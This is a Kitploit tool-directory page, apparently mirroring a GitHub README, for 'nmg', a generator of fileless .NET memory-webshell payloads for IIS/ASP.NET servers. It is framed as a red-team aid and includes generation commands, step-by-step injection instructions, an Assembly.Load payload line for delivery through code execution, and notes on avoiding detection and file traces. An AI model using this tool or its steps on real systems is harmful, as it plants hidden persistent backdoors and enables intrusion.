Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
nmg — Erzeugt parametrisierte .NET-Memory-Shell-Payloads (VPP, MVC-Route, HttpListener), die mit Godzilla-, Behinder- und AntSword-Clients für Red-Team-Tests kompatibel sind. | Kitploit
Tools/GitHubGitHub/baguette168/nmg
DefensivwerkzeugePayload-GenerierungPersistenzmechanismenWebanwendungs-ExploitationPost-ExploitationWebsicherheitPenetrationstestsRed TeamingRemote-Access-ToolShellcode-GenerierungPayload-Entwicklung
717vor 13 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
GitHubbaguette168/nmg

nmg

Erzeugt parametrisierte .NET-Memory-Shell-Payloads (VPP, MVC-Route, HttpListener), die mit Godzilla-, Behinder- und AntSword-Clients für Red-Team-Tests kompatibel sind.

Repository anzeigen
Teilen

NMG - .NET Memory-shell Generator

.NET Tests License Platform

Parametrisierter .NET Memory-Shell-Generator | Red Team / Sicherheitstests | JMG-Äquivalent für .NET

Architektur

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

Was ist NMG?

NMG generiert parametrisierte .NET Memory-Shell-Payloads, die in IIS/ASP.NET-Anwendungen injiziert werden, ohne Dateien auf der Festplatte zu hinterlassen. Nach der Injektion verbinden Sie sich mit bestehenden Webshell-Managern (Godzilla / Behinder / AntSword) - NMG sorgt nur dafür, dass die Serverseite funktioniert.

Stellen Sie es sich so vor: Eingabeparameter -> kompilierte Payload -> injizieren -> mit Client verbinden

Funktionen

Memory-Shell-Typen

TypZiel.NET FrameworkAuslösepunkt
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistenerStandalone/SYSTEM2.0+HttpListener (unabhängig von IIS)

Shell-Protokolle

ProtokollClientVerschlüsselungVerifiziert
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ End-to-End
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] raw bytes)✅ End-to-End
antswordAntSwordBase64✅ End-to-End

Ausgabeformate

FormatAnwendungsfall
aspxIn ein beschreibbares Verzeichnis hochladen, einmal aufrufen, um zu injizieren
b64Für RCE-Übermittlung via Deserialisierung/Expression-Injection
dllRohe DLL für benutzerdefinierte Loader

Unterbefehle

BefehlZweck
generateMemory-Shell-Payload generieren
probeUmgebungserkennung als aspx generieren (meldet CLR/Trust/MVC/VPP)
versionVersion anzeigen
helpNutzung anzeigen

Web-UI

Integrierte Weboberfläche mit Inset Dark Theme (Linear-Stil-Minimalismus):

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

Schnellstart

CLI

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

Injektionsmethoden

Methode 1 — ASPX-Injector:

  1. Laden Sie die generierte .aspx-Datei in ein beliebiges beschreibbares Verzeichnis auf dem Ziel hoch
  2. Rufen Sie sie einmal in einem Browser auf (löst Assembly.Load + VPP-Registrierung aus)
  3. Löschen Sie die aspx-Datei
  4. Verbinden Sie sich mit Ihrem Webshell-Client mit einer beliebigen vorhandenen .aspx/.ashx/.asmx auf der Website

Methode 2 — Base64 (RCE-Bereitstellung): Führen Sie an einem beliebigen Codeausführungspunkt aus:

Assembly.Load(Convert.FromBase64String("<payload>"))

Probe

Laden Sie die generierte probe.aspx hoch und rufen Sie sie einmal auf. Sie gibt JSON zurück mit:

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

Verwenden Sie dies, um zu bestimmen, welcher Memory-Shell-Typ und welches Protokoll verwendet werden soll.

Designprinzipien

  1. Host-sicher: Alle Ausführungspfade sind in try-catch eingebettet, jede Ausnahme leitet die Anfrage stillschweigend weiter
  2. Idempotent: Wiederholte Injektion stapelt keine Registrierungen
  3. Keine Dateirückstände: Nach der Injektion keine neuen Dateien im Webverzeichnis
  4. Deterministisch: Gleiche Parameter + gleicher Seed = byte-identische Ausgabe (NFR-5)
  5. Keine dynamische Kompilierung auf dem Ziel: Die Payload ist vorkompiliert, vermeidet die Erkennung von ASP.xxx_aspx+ClassName
  6. Duale Registrierung: VPP verwendet zuerst die offizielle API und fällt auf direkten Feldersatz für den IIS Integrated-Modus zurück

Erstellung

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

Projektstruktur

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

Referenzen

  • BeichenDream/GodzillaMemoryShellProject.NET
  • yzddmr6s ASP.NET-Memory-Shell-Serie — Filter, Route, HttpListener, VirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Java Memory-shell Generator

Lizenz

MIT

Tool herunterladen